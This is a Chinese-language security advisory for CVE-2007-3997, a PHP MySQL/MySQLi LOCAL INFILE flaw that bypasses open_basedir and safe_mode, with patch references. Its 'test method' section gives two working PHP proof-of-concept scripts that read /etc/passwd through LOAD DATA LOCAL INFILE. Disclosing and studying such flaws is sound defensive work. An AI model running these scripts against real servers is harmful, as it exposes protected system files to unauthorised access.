安全研究

安全漏洞
PHP MySQL/MySQLi扩展绕过安全限制漏洞

发布日期:2007-08-31
更新日期:2007-09-03

受影响系统:
PHP PHP < 5.2.4
PHP PHP < 4.4.8
不受影响系统:
PHP PHP 5.2.4
PHP PHP 4.4.8
描述:
CVE(CAN) ID: CVE-2007-3997

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的MySQL和MySQLi扩展在处理畸形数据的SQL请求时,远程攻击者可能利用此漏洞执行SQL注入攻击。

PHP的MySQL和MySQLi扩展没有正确地处理包含有LOCAL INFILE的SQL查询请求,如果远程攻击者向安装了这些扩展的服务器提交了恶意SQL请求的话,就可以绕过open_basedir和safe_mode安全限制,执行非授权操作。请注意不要依赖于共享主机MySQLd local-infile=0选项,因为这个选项是服务器选项,因此不会影响客户端。

<*来源:Mattias Bengtsson (mattias@secweb.se
        Tekno pHReak (tek@superw00t.com
  
  链接:http://secunia.com/advisories/26642/
        http://secweb.se/en/advisories/php-mysql-safe-mode-bypass-vulnerability/
        http://www.php.net/releases/5_2_4.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

MySQL:

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
    print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
      print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php

浏览次数:3015
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障